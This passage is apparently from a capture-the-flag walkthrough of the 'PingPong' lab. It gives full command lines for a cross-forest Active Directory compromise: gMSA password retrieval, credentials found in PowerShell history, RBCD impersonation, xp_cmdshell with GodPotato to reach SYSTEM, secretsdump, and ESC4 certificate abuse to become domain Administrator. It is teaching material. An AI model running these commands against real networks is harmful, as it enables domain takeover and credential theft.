Understanding Active Directory Group Types

  • Active Directory groups have different scopes that determine where their members can originate and where their permissions can be assigned.
  • The groupType attribute is a bitmask. Its signed integer representation can be used to identify the group scope and type:
    • Global Security Group (-2147483646)
    • Domain Local Security Group (-2147483644)
    • Universal Security Group (-2147483640)
  • Global groups can contain accounts and groups from their own domain. They are commonly used to organize users with similar roles.
  • Universal groups can contain accounts and groups from any domain in the same forest. They are useful for consolidating membership across domains.
  • Domain Local groups can contain accounts and groups from trusted domains and are commonly used to assign permissions to resources within their own domain.
  • Since c.roberts belongs to PING.HTB and the target group belongs to PONG.HTB, the Global scope is preventing the membership change.

Changing the Group Scope

  • The current group type is confirmed once more:
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get object "gMSA Managers" --attr groupType
  • A direct attempt to change the group from Global Security to Domain Local Security fails:
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k set object "gMSA Managers" groupType -v -2147483644
  • Instead of changing directly from Global to Domain Local, the group scope must be changed through Universal first.
  • The first modification changes the group to Universal Security:
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k set object "gMSA Managers" groupType -v -2147483640
  • The second modification changes it from Universal Security to Domain Local Security:
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k set object "gMSA Managers" groupType -v -2147483644
  • The new value is verified:
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get object "gMSA Managers" --attr groupType
  • The group is now a Domain Local Security Group, allowing it to accommodate members from trusted domains.

Adding c.roberts to GMSA MANAGERS

  • With the group scope corrected, the membership operation can be attempted again:
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k add groupMember "gMSA Managers" "S-1-5-21-750635624-2058721901-1932338391-2617"
  • This time the operation succeeds.
  • The membership is verified by querying the group's member attribute:
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get object "gMSA Managers" --attr member  
  • Active Directory represents accounts from trusted external domains using Foreign Security Principal (FSP) objects. This explains why the membership is displayed as a SID-based object under the ForeignSecurityPrincipals container rather than as a normal user object in PONG.HTB.
  • The important result is that c.roberts is now a member of GMSA MANAGERS, and the group has the ReadGMSAPassword permission over PONG_GMSA$.

Retrieving the PONG gMSA Password

  • The first attempt uses the existing Kerberos credential cache:
KRB5CCNAME=c.roberts.ccache proxychains -q nxc ldap DC2.pong.htb -k --use-kcache --gmsa
  • The authentication succeeds, but the gMSA password is still not readable.
  • The directory now recognizes gMSA MANAGERS as an authorized principal, but the existing Kerberos ticket was issued before the group membership change.
  • Kerberos tickets contain authorization information, including group membership data. Consequently, an existing ticket may not reflect changes made to an account's group memberships.
  • To obtain fresh authorization information, the old credential cache is removed and a new TGT is requested:
impacket-getTGT 'ping.htb/c.roberts:AssumedBreach123'
  • With the new issued ticket, the gMSA enumeration is repeated:
KRB5CCNAME=c.roberts.ccache proxychains -q nxc ldap DC2.pong.htb -k --use-kcache --gmsa
  • This time the password retrieval succeeds.
  • The NTLM hash and AES keys for Pong_gMSA$ have now been retrieved. The key detail is that the account's newly refreshed Kerberos ticket reflects its updated authorization context, allowing the gMSA password retrieval to succeed.

Checking the gMSA account in PING.HTB

  • It is worth checking whether the same membership grants access to the other gMSA account identified earlier, gMSA$@PING.HTB.
  • The enumeration is performed against DC1.ping.htb:
KRB5CCNAME=c.roberts.ccache proxychains -q nxc ldap DC1.ping.htb -k --use-kcache --gmsa
  • Running the same command without ProxyChains:
KRB5CCNAME=c.roberts.ccache nxc ldap DC1.ping.htb -k --use-kcache --gmsa
  • The password remains inaccessible because the gMSA$ account in the PING.HTB has no principals listed under PrincipalsAllowedToReadPassword.
  • This confirms that the newly obtained access applies to Pong_gMSA$ in PONG.HTB; it does not automatically grant access to the separate gMSA account in PING.HTB.

Authenticating as Pong_gMSA$

  • Since NTLM authentication is disabled in the environment, the AES256 key can be used to request a Kerberos TGT instead:
proxychains -q impacket-getTGT -aesKey 725f29ca3b45942c57a4e8576532f0262c55edfdce59bdcd4b411f4566ea1aa6 'pong.htb/Pong_gMSA$'
  • The resulting ticket is used to authenticate against SMB and LDAP on DC2.pong.htb:
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q nxc smb DC2.pong.htb --use-kcache
  • LDAP authentication is also successful:
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q nxc ldap DC2.pong.htb --use-kcache
  • The Kerberos ticket is valid and authentication as Pong_gMSA$ is confirmed over both protocols.

Enumerating Pong_gMSA$ privileges

  • With the new identity available, BloodHound is revisited to understand its domain relationships and potential attack paths.
  • The account belongs to the DOMAIN COMPUTERS group. Its description also contains an interesting clue JEA Enabled gMSA on DC1.
  • This suggest that the account is intended to access a Just Enough Administration (JEA) endpoint on DC1. This is worth investigating, particularly because the earlier enumeration of DC1 uncovered a JEA configuration file.
  • Before attempting remote access, the account's SMB shares and domain users are enumerated.

SMB Shares

KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q nxc smb DC2.pong.htb --use-kcache --shares
  • No interesting share access is evident from this enumeration.

Domain Users

  • The next step is to enumerate users in PONG.HTB:
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q nxc ldap DC2.pong.htb --use-kcache --users

Writable Directory Permissions

  • BloodyAD is used to identify objects that Pong_gMSA$ can modify:
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get writable 
  • The account has write access over its own managed service account object, as well as permissions to create child objects in certain directory containers.

Accessing DC1 through JEA

  • The account description explicitly identifies Pong_gMSA$ as a JEA-enabled service account on DC1. The next step is therefore to test whether it can establish a WinRM session with the first domain controller.
  • The initial connection attempt fails:
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q evil-winrm-py -i DC1.ping.htb -k
  • This a Kerberos service principal resolution error. The client cannot find the expected service principal for the target hostname in the Kerberos database.
  • The Kerberos configuration is reviewed and adjusted to disable hostname canonicalization and reverse DNS Lookups.
  • The updated configuration is exported.
  • The WinRM connection is attempted again:
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q evil-winrm-py -i DC1.ping.htb -k
  • The server returns a different response.
  • Kerberos is now able to process the connection, but the WinRM endpoint denies access to the account.
  • Given the earlier JEA configuration discovery and the account's description, this is consistent with a restricted JEA endpoint rather than unrestricted remote administration.

Connecting to the Restricted JEA Endpoint

  • The newer version of evil-winrm-py contains the -c configuration option and is installed directly from the project's Git repository:
uv tool install --force "evil-winrm-py[kerberos] @ git+https://github.com/adityatelange/evil-winrm-py"
  • The connection is then attempted using the restricted configuration:
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q evil-winrm-py -i DC1.ping.htb -k -c restricted
  • This time, the connection succeeds.
  • A restricted JEA session is now available.
  • The available commands are checked:
Get-Command
  • The available command set is extremely limited. Even a simple attempt to execute whoami directly fails.
  • However, the session behaves differently when commands are submitted inside a PowerShell script block.
  • Invoking &{ dir } takes a long time to execute so another faster approach was invoking CMD through a script block:
&{ cmd.exe /c dir }

Examining the JEA Configuration Files

  • Two files in the current user's Documents directory immediately stand out:
    • ITAccess.psrc
    • JEAconfig_backup.pssc
  • The first is a PowerShell Role Capability file (.psrc). It defines the commands and capabilities exposed to a particular role.
  • The second is a PowerShell Session Configuration file (.pssc). It defines how a remote PowerShell session is configured, including its session type, role definitions and execution context. ITAccess.psrc
  • The contents of ITAccess.psrc are retrieved:
&{ cmd.exe /c type ITAccess.psrc }
  • This role capability file defines a limited set of commands, including service management, event log access, history retrieval and network configuration. It also restricts Restart-Service to the Spooler and W32Time services.
  • The LanguageMode is set to NoLanguage, which is intended to prevent users from executing arbitrary PowerShell language constructs in a session configured with this role capability. JEAconfig_backup.pssc
  • The backup session configuration is also inspected:
&{ cmd.exe /c type JEAconfig_backup.pssc }
  • Nevertheless, the file provides useful context:
    • The intended session type is RestrictedRemoteServer.
    • The session is configured to use a virtual account.
    • The ITAccess role capability is referenced.
    • Pong\C.Carlssen appears in the role definition.

Finding PowerShell Command History

  • The user's directory tree is searched for additional files:
&{ cmd.exe /c dir /b /s .. }
  • Among the results is a PowerShell PSReadLine history file:
C:\Users\Pong_gMSA$\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
  • PowerShell's PSReadLine module maintains command history for interactive sessions. Depending on the user's activity and configuration, this file can contain commands previously entered into the shell.
  • A broader search confirms the file's location:
&{ cmd.exe /c dir C:\Users\Pong_gMSA$\*history* /s /b /a }
  • The file is then read:
&{ cmd.exe /c type C:\Users\Pong_gMSA$\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt }
  • Among the historical commands, two lines stand out:
$c = New-object System.management.automation.pscredential("pong\c.carlssen,$(convertto-securestring -asplaintext -force "A()DUJ!@414"))
Enter-pssession -computername dc2.pong.htb -credential $c
  • The JEA session has exposed a command history file containing credentials that were previously used to establish a remote session to DC2.pong.htb.

Validating the discovered credentials

  • Before exploiting the account's permissions, the credentials are validated against SMB and LDAP:
  • SMB authentication:
proxychains -q nxc smb DC2.pong.htb -u c.carlssen -p 'A()DUJ!@414' -k
  • LDAP authentication:
proxychains -q nxc ldap DC2.pong.htb -u c.carlssen -p 'A()DUJ!@414' -k
  • Both authentication attempts succeed, confirming that the credentials are valid.
  • The credentials are added to working notes.

SQL Server Enumeration and Privilege Escalation

Revisiting BloodHound

  • With access as c.carlssen, the next step is to revisit BloodHound and examine the account's effective permissions.
  • BloodHound reveals several interesting relationships:
  • c.carlssen is a member of IT SERVICE ADMINS, which has GenericWrite permissions over svc_ldap, svc_print and svc_sql
  • The account is also a member of IT SERVICE, REMOTE MANAGEMENT USERS and DOMAIN USERS.
  • The IT SERVICE group contains c.carlssen, p.sanchez and r.rupert.
  • Most importantly, svc_sql has the SQLAdmin relationship over DC2.PONG.HTB.
  • This relationship provides a promising route into SQL Server. Although c.carlssen can access the database server, the account does not automatically inherit the administrative privileges assigned to svc_sql.

Establishing a Session on DC2

  • A Kerberos TGT is requested for c.carlssen using the recovered credentials:
proxychains -q impacket-getTGT 'pong.htb/c.carlssen:A()DUJ!@414'
  • The ticket is saved and can be used to establish remote PowerShell session with DC2:
KRB5CCNAME=c.carlssen.ccache proxychains -q evil-winrm-py -i DC2.pong.htb -k
  • After connecting the current identity and available privileges are checked.
  • The user's desktop contains the user flag.

Enumerating SQL Server

  • The sqlcmd utility is available on the target, allowing basic SQL Server queries to be executed from the remote PowerShell session.
  • First, the current SQL identity is checked:
sqlcmd -S localhost -Q "SELECT SYSTEM_USER"
  • The result identifies the session as pong\C.Carlssen. The SQL Server version can also be confirmed:
sqlcmd -S localhost -Q "SELECT @@VERSION"
  • The instance is running Microsoft SQL Server 2022 Express on Windows Server 2022.
  • Since command execution through SQL Server would provide another route to the operating system, an attempt is made to enable xp_cmdshell:
sqlcmd -S localhost -Q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
  • The attempt fails with permission errors. The account does not have sufficient privileges to modify the server configuration or execute RECONFIGURE.
  • This confirms that SQL Server is reachable, but the current database permissions are insufficient for operating system command execution.

Kerberos Authentication to MSSQL

  • The next attempt is to connect directly to SQL Server using Impacket's mssqlclient.py with Kerberos authentication:
KRB5CCNAME=c.carlssen.ccache proxychains -q impacket-mssqlclient -windows-auth -no-pass -k DC2.pong.htb 
  • The connection fails with an error indicating that the login originates from an untrusted domain. Enabling debug output reveals an important detail.
  • The client is attempting to reuse a cached service ticket for a different service principal. A ticket issued for WinRM's HTTP service is not necessarily valid for SQL Server authentication.
  • Regenerating the TGT removes the previously cached service ticket, but the connection still fails:
proxychains -q impacket-getTGT 'pong.htb/c.carlssen:A()DUJ!@414'
  • This points to an SPN mismatch. Rather than continuing to rely on Impacket's automatic SPN selection, the service principal registered for svc_sql is queried directly:
KRB5CCNAME=c.carlssen.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get object svc_sql --attr servicePrincipalName
  • The required service ticket can now be requested explicitly:
 proxychains -q impacket-getTGT -service 'mssqlsvc/dc2.pong.htb' 'pong.htb/c.carlssen:A()DUJ!@414'
  • Checking the cache confirms that the correct ticket has been obtained.
  • With the correct SPN ticket available, authentication to SQL Server succeeds:
KRB5CCNAME=c.carlssen.ccache proxychains -q impacket-mssqlclient -windows-auth -no-pass -k DC2.pong.htb 
  • However, the account is connected with the guest database role and still cannot enable xp_cmdshell.

Abusing Resource-Based Constrained Delegation

  • Returning to BloodHound reveals two members of the DATABASE ADMINS group:
    • p.reiner
    • c.adam
  • Since p.reiner has the database privileges required for the next stage, the objective is to impersonate this user when authenticating to SQL Server.
  • The existing relationship between c.carlssen and svc_sql provides an opportunity to configure Resource-Based Constrained Delegation (RBCD). The account can modify the relevant service account, allowing the Pong_gMSA$ principal to impersonate users to services hosted by svc_sql.
  • First, the previous Kerberos cache is removed and a fresh TGT is requested:
proxychains -q impacket-getTGT 'pong.htb/c.carlssen:A()DUJ!@414'
  • BloodyAD is then used to configure the RBCD attribute on svc_sql:
KRB5CCNAME=c.carlssen.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k add rbcd svc_sql 'Pong_gMSA$'
  • The operation succeeds.
  • With the delegation relationship in place, Impacket's getST.py is used to request a service ticket while impersonating p.reiner:
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q impacket-getST -spn mssqlsvc/dc2.pong.htb -impersonate p.reiner -no-pass -k pong.htb/Pong_gMSA$
  • The output confirms that the S4U2Self and S4U2Proxy operations completed successfully.
  • This produces a service ticket for the MSSQL service with p.reiner as the impersonated identity.

Gaining SQL Server Command Execution

  • The newly generated ticket is used to authentication to SQL Server:
KRB5CCNAME=p.reiner@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache proxychains -q impacket-mssqlclient -windows-auth -no-pass -k DC2.pong.htb
  • This time, the SQL prompt identifies the session as belonging to P.Reiner.
  • Unlike the previous connection, the session has the dbo role in the master database. This provides the required permissions to enable xp_cmdshell:
enable_xp_cmdshell
  • The configuration changes succeed. Operating system command execution can now be tested:
xp_cmdshell whoami
  • Although the SQL session is authenticated as p.reiner, commands executed through xp_cmdshell run under the SQL Server service account, pong\svc_sql.
  • The service account's privileges are then inspected:
xp_cmdshell whoami /priv
  • Among the listed privileges is:
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
  • This is particularly interesting because the privilege can be abused through certain Windows privilege escalation techniques to obtain a SYSTEM-level execution.

Exploring SeImpersonatePrivilege with GodPotato

  • With SeImpersonatePrivilege enabled, GodPotato is a suitable tool for attempting local privilege escalation.
  • The executable is downloaded from its official GitHub repository:
wget -q --show-progress "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe"
  • The file is identified as a Windows .NET executable. It is the uploaded to DC2 through the existing Evil-WinRM session:
upload www/GodPotato-NET4.exe gp.exe
  • The executable is placed in C:\ProgramData. Its permissions are inspected:
icacls gp.exe
  • To ensure that the SQL Server service account can execute it, read and execute permissions are granted to Everyone:
icacls gp.exe /grant EVERYONE:RX
  • The permissions are verified again.
  • The next step is to execute GodPotato through the SQL Server session. Since xp_cmdshell runs commands as svc_sql, the tool can attempt to abuse the account's impersonation privilege:
xp_cmdshell C:\ProgramData\gp.exe -cmd whoami
  • The output shows GodPotato successfully locating and impersonating a SYSTEM token.
  • The command executes as NT AUTHORITY\SYSTEM, confirming successful privilege escalation on DC2.

Adding c.carlssen to the Local Administrators Group

  • Rather than relying exclusively on the SQL Server session, c.carlssen is added to the local Administrators group on DC2. GodPotato is used to execute the command with SYSTEM privileges:
xp_cmdshell C:\ProgramData\gp.exe -cmd "net localgroup administrators c.carlssen /add"
  • The output confirms that the command completed successfully.
  • The group membership is then verified:
xp_cmdshell C:\ProgramData\gp.exe -cmd "net localgroup administrators"
  • The resulting list confirms c.carlssen has been added to the local Administrators group on DC2.

Verifying Local Administrator Access on DC2

  • After adding c.carlssen to the local Administrators group, the existing WinRM session needs to be closed and a new one established. This ensures that Windows creates a fresh logon session and applies the updated group memberships and privileges:
KRB5CCNAME=c.carlssen.ccache proxychains -q evil-winrm-py -i DC2.pong.htb -k
  • The authenticated identity is confirmed as pong\c.carlssen.
  • Next, the account's privileges are enumerated and the output now contains a significantly expanded set of privileges.
  • Unlike the earlier restricted account, c.carlssen now has the extensive privileges associated with local administrative access. This confirms that the membership change performed through GodPotato took effect after establishing a new session.
  • NetExec also confirms administrative access over SMB and LDAP:
proxychains -q nxc smb DC2.pong.htb -u c.carlssen -p 'A()DUJ!@414' -k
  • LDAP Authentication:
proxychains -q nxc ldap DC2.pong.htb -u c.carlssen -p 'A()DUJ!@414' -k
  • Both authentication attempts succeed.
  • The same result is obtained when using the Kerberos credential cache.
  • SMB Authentication:
KRB5CCNAME=c.carlssen.ccache proxychains -q nxc smb DC2.pong.htb --use-kcache
  • LDAP Authentication:
KRB5CCNAME=c.carlssen.ccache proxychains -q nxc ldap DC2.pong.htb --use-kcache
  • The Pwn3d! indicator confirms that NetExec recognizes the account as having administrative privileges on the target.

Looking for the Root Flag

  • With administrative access to DC2, the Administrator profile is inspected:
tree /f
  • The directory listing reveals the usual profile folders, but no root.txt is present on the Desktop.
  • This suggest that obtaining administrative access on DC2 is not the end of the attack chain. The forest trust between PONG.HTB and PING.HTB provides another direction to investigate.

Pivoting Back to PING.HTB

  • The two domains have a bidirectional forest-transitive trust. This means that security principals and permissions can be relevant across the domain boundary, depending on the trust configuration and the specific access-control relationships.
  • Returning to BloodHound reveals an interesting path from PONG.HTB into the certificate infrastructure of PING.HTB.
  • The R.Martinelli account is particularly interesting because it belongs to CA MANAGERS. BloodHound identifies this group as having both WriteDacl and WriteOwner permissions over the SmartcardAuthentication certificate template in PING.HTB.
  • These permissions are significant:
    • WriteOwner allows the owner of an object to be changed, subject to the applicable ownership rules.
    • WriteDacl allows the object's discretionary access control list to be modified, potentially granting additional permissions over the object.
  • Together, these permissions provide a route to modify the certificate template's access controls and configuration.
  • The identified AD CS ESC4 relationship indicates a potential ESC4 certificate-template misconfiguration. ESC4 involves dangerous permissions over a certificate template that can allow an attacker to modify its configuration and turn it into a template suitable for certificate-based privilege escalation.
  • The next step is to obtain the R.Martinelli credentials and use the account's delegated permissions against the template.

Extracting Credentials from DC2

  • Since c.carlssen now has administrative access to DC2, Impacket's secretsdump can be used to extract credentials from the domain controller:
KRB5CCNAME=c.carlssen.ccache proxychains -q impacket-secretsdump -k -use-vss DC2.pong.htb 
  • The output confirms that the tool successfully accesses several credential stores.
  • Among the extracted LSA secrets is the SQL Server service account password.
  • More importantly, the NTDS database dump contains hashes and Kerberos keys for the domain accounts, including R.Martinelli:
R.Martinelli:aes256-cts-hmac-sha1-96:61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98
R.Martinelli:aes128-cts-hmac-sha1-96:14f94b4b3deaabde802460945a2079e9
R.Martinelli:des-cbc-md5:8c437f1f578f3b3b
  • The AES256 key can be used to request a Kerberos TGT without knowing the account's plaintext password.

Requesting a TGT for R.Martinelli

  • Using the recovered AES256 key:
proxychains -q impacket-getTGT -aesKey 61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98 pong.htb/r.martinelli
  • Authentication against DC2 is verified using the new ticket.
  • SMB Authentication:
KRB5CCNAME=r.martinelli.ccache proxychains -q nxc smb DC2.pong.htb --use-kcache
  • LDAP Authentication:
KRB5CCNAME=r.martinelli.ccache proxychains -q nxc ldap DC2.pong.htb --use-kcache
  • Both SMB and LDAP authentication succeed.
  • With a valid Kerberos session for R.Martinelli, the cross-domain permissions identified in BloodHound can now be investigated directly.

Abusing ESC4 Through SmartcardAuthentication Template

  • The R.Martinelli ticket is used to enumerate writable objects on DC1:
KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyad --host DC1.ping.htb -d pong.htb -k get writable
  • The result confirms that the R.Martinelli security context has the required permissions over the SmartcardAuthentication template in PING.HTB.

Inspecting the Certificate Template

  • The template's attributes can be retrieved through LDAP:
KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyad --host DC1.ping.htb -d pong.htb -k get object "CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb"
  • One important attribute is msPKI-Certificate-Name-Flag. It controls how the certificate subject and alternative names are populated.
  • The current value is retrieved:
KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyad --host DC1.ping.htb -d pong.htb -k get object "CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb" --attr msPKI-Certificate-Name-Flag
  • The value is modified to 1:
KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyad --host DC1.ping.htb -d pong.htb -k set object "CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb" msPKI-Certificate-Name-Flag -v 1
  • BloodyAD confirms the update.
  • The value is checked again to verify that the change was applied:
KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyad --host DC1.ping.htb -d pong.htb -k get object "CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb" --attr msPKI-Certificate-Name-Flag
  • Setting this attribute to 1 enables CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT. This allows the certificate requester to supply the subject name rather than relying solely on the subject information stored in Active Directory.
  • That capability is important because it can allow a requester to specify another account's identity in the certificate request, provided the template's other settings and enrollment permissions make the resulting certificate usable for authentication.

Granting c.roberts Full Control over the Template

  • The next step is to grant c.roberts full control over the modified template.
  • First, the account's SID is retrieved:
KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyad --host DC1.ping.htb -d pong.htb -k get object c.roberts --attr objectSID
  • Using this SID, GenericAll is granted over the SmartcardAuthentication template:
KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyad --host DC1.ping.htb -d pong.htb -k add genericAll "CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb" S-1-5-21-750635624-2058721901-1932338391-2617
  • The operation succeeds.
  • This gives c.roberts full control over the certificate template, providing the permissions needed to proceed with certificate enrollment.

Requesting a Certificate as Administrator

  • The existing c.roberts.pfx certificate is used to authenticate to the CA and obtain a Kerberos ticket:
certipy-ad auth -pfx c.roberts.pfx -dc-ip 10.129.159.165
  • Certipy confirms the certificate identity and retrieves a TGT.
  • The certificate is valid for c.roberts, and the resulting ticket is used to request a certificate for the domain Administrator:
KRB5CCNAME=c.roberts.ccache certipy-ad req -ca ping-DC1-CA -template SmartcardAuthentication -upn 'Administrator@ping.htb' -sid S-1-5-21-750635624-2058721901-1932338391-500 -dc-ip 10.129.159.165 -dc-host DC1.ping.htb -target DC1.ping.htb -k
  • The first attempt fails.
  • This is consistent with the earlier RPC connectivity issue involving DC1's multiple network interfaces. Retrying the request succeeds.
  • Certipy successfully issues the certificate.
  • The certificate is now associated with the Administrator identity in PING.HTB.

Authenticating as the PING.HTB Administrator

  • The newly issued certificate is used to request a Kerberos TGT:
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.159.165
  • The output confirms that Certipy retrieves the Administrator's NT hash.
  • The new credential cache is tested against DC1 using NetExec.
  • SMB Authentication:
KRB5CCNAME=administrator.ccache nxc smb DC1.ping.htb --use-kcache
  • LDAP Authentication:
KRB5CCNAME=administrator.ccache nxc ldap DC1.ping.htb --use-kcache
  • Both services accept the ticket.
  • The Administrator identity has now been successfully obtained in the first domain.

Retrieving the Root Flag

  • With the Administrator ticket, a WinRM session can be established on DC1:
KRB5CCNAME=administrator.ccache proxychains -q evil-winrm-py -i DC1.ping.htb -k
  • The Administrator profile is inspected:
tree /f
  • The Desktop directory contains root.txt.
  • The root flag has been obtained, completing the compromise of both domains.

Attack Chain

  1. Initial Access: Authenticate as c.roberts in PING.HTB using the assumed-breach credentials.
  2. AD CS Enumeration: Identify the vulnerable TemporaryWinRM certificate template and its ESC13 issuance-policy relationship.
  3. Certificate Authentication: Enroll in TemporaryWinRM, obtain a certificate for c.roberts and authenticate using PKINIT.
  4. Pivot to PONG.HTB: Use DC1 as a pivot to enumerate the second domain through the forest trust.
  5. gMSA Abuse: Modify the GMSA MANAGERS group scope and membership to obtain the password for Pong_gMSA$.
  6. JEA Enumeration: Authenticate as Pong_gMSA$ and recover c.carlssen credentials from PowerShell history on DC1.
  7. SQL Privilege Escalation: Use c.carlssen's delegated permissions to configure RBCD on svc_sql, impersonate p.reiner and obtain SQL dbo access.
  8. SYSTEM on DC2: Abuse SeImpersonatePrivilege with GodPotato through SQL Server's xp_cmdshellthen add c.carlssen to the local Administrators group.
  9. Cross-Domain Credential Access: Use the resulting administrative access to dump DC2 credentials and recover the Kerberos key for R.Martinelli.
  10. ESC4 Exploitation: Use R.Martinelli's permissions over the SmartcardAuthentication template to modify its configuration and grant c.roberts GernericAll.
  11. Administrator Certificate: Enroll for a certificate using the Administrator's UPN and SID, then authenticate as PING.HTB\Administrator.
  12. Domain Compromise: Access DC1 through WinRM and retrieve root.txt.

Conclusion

PingPong demonstrates how multiple Active Directory weaknesses can be chained into a complete forest-level compromise. An assumed-breach account, an ESC13 certificate template and a series of misconfigurations eventually open access across a forest trust. Along the way, gMSA misconfigurations, exposed PowerShell history, RBCD, SQL Server privilege escalation and credential extraction provide the foothold needed to move deeper into the environment.

The final escalation brings the investigation back to the PING domain, where cross-forest group permissions allow the SmartcardAuthentication template to be modified and abused through ESC4. A certificate issued for the Domain Administrator account then provides the credentials needed to compromise DC1 and retrieve the root flag.

Beyond the individual techniques, PingPong highlights an important security lesson: Active Directory cannot be secured one domain, service or permission at a time. Trust relationships, certificate templates, delegated privileges and service accounts all form part of the same security boundary. A weakness in one area can quickly become the stepping stone to another, turning a limited foothold into a full domain compromise.

In the end, the name PingPong feels rather appropriate. Access bounced between two domains, credentials changed hands, certificates opened doors and eventually both domain controllers ended up on the compromise list. The only thing that didn't make it across the forest was the security team's peace of mind.


Tools Used

Network Reconnaissance and Enumeration

  • Nmap: Network scanning, port discovery, service enumeration and version detection.
  • NetExec: SMB and LDAP enumeration, authentication testing, share discovery and privilege verification.
  • ping: Basic host reachability testing.
  • ifconfig: Network interface and IP address inspection.
  • ntpdate: Synchronizing the attack machine's clock with the domain controller to avoid Kerberos clock-skew errors.

Active Directory Enumeration and Analysis

  • RustHound-CE: Active Directory data collection for BloodHound analysis.
  • BloodHound: Visualizing domain relationships, group memberships, ACLs, delegation and privilege escalation paths.
  • BloodyAD: Enumerating and modifying Active Directory objects, permissions, group memberships and certificate template attributes.
  • NetExec: Enumerating domain users, groups, computers, SMB shares and LDAP information.

Kerberos and Credential Operations

  • Impacket: A collection of Python tools used for Kerberos authentication, ticket manipulation, remote execution and credential extraction. Utilities used included:
    • impacket-getTGT: Requesting Kerberos TGTs using passwords or AES keys.
    • impacket-secretsdump: Extracting SAM, LSA, NTDS and Kerberos secrets.
    • impacket-describeTicket: Inspecting Kerberos tickets and their PAC information.
    • impacket-mssqlclient: Connecting to Microsoft SQL Server using Windows authentication.
  • Certipy-AD: Enumerating AD CS configurations, requesting certificates, authenticating with certificates and exploiting certificate template misconfigurations.
  • klist: Inspecting cached Kerberos tickets.
  • kvno: Requesting and inspecting Kerberos service tickets.
  • KRB5_TRACE: Troubleshooting Kerberos authentication and ticket requests.

Remote Access and Lateral Movement

  • evil-winrm-py: Establishing remote PowerShell sessions over WinRM using password or Kerberos authentication.
  • ProxyChains: Routing connections through a SOCKS proxy to reach systems on the internal network.
  • Chisel: Creating a reverse SOCKS tunnel through the compromised domain controller to access the second domain controller.

Exploitation and Privilege Escalation

  • GodPotato: Exploiting Windows impersonation privileges to obtain elevated execution.
  • xp_cmdshell: Executing operating system commands through SQL Server.
  • Active Directory Certificate Services (AD CS): The certificate infrastructure abused through ESC13 and ESC4 misconfigurations.
  • PowerShell: Inspecting command history, interacting with Windows systems and performing administrative operations.

References

Tools and Utilities

Active Directory

Active Directory Certificate Services (AD CS)

About the author

No comments yet. Be the first to comment.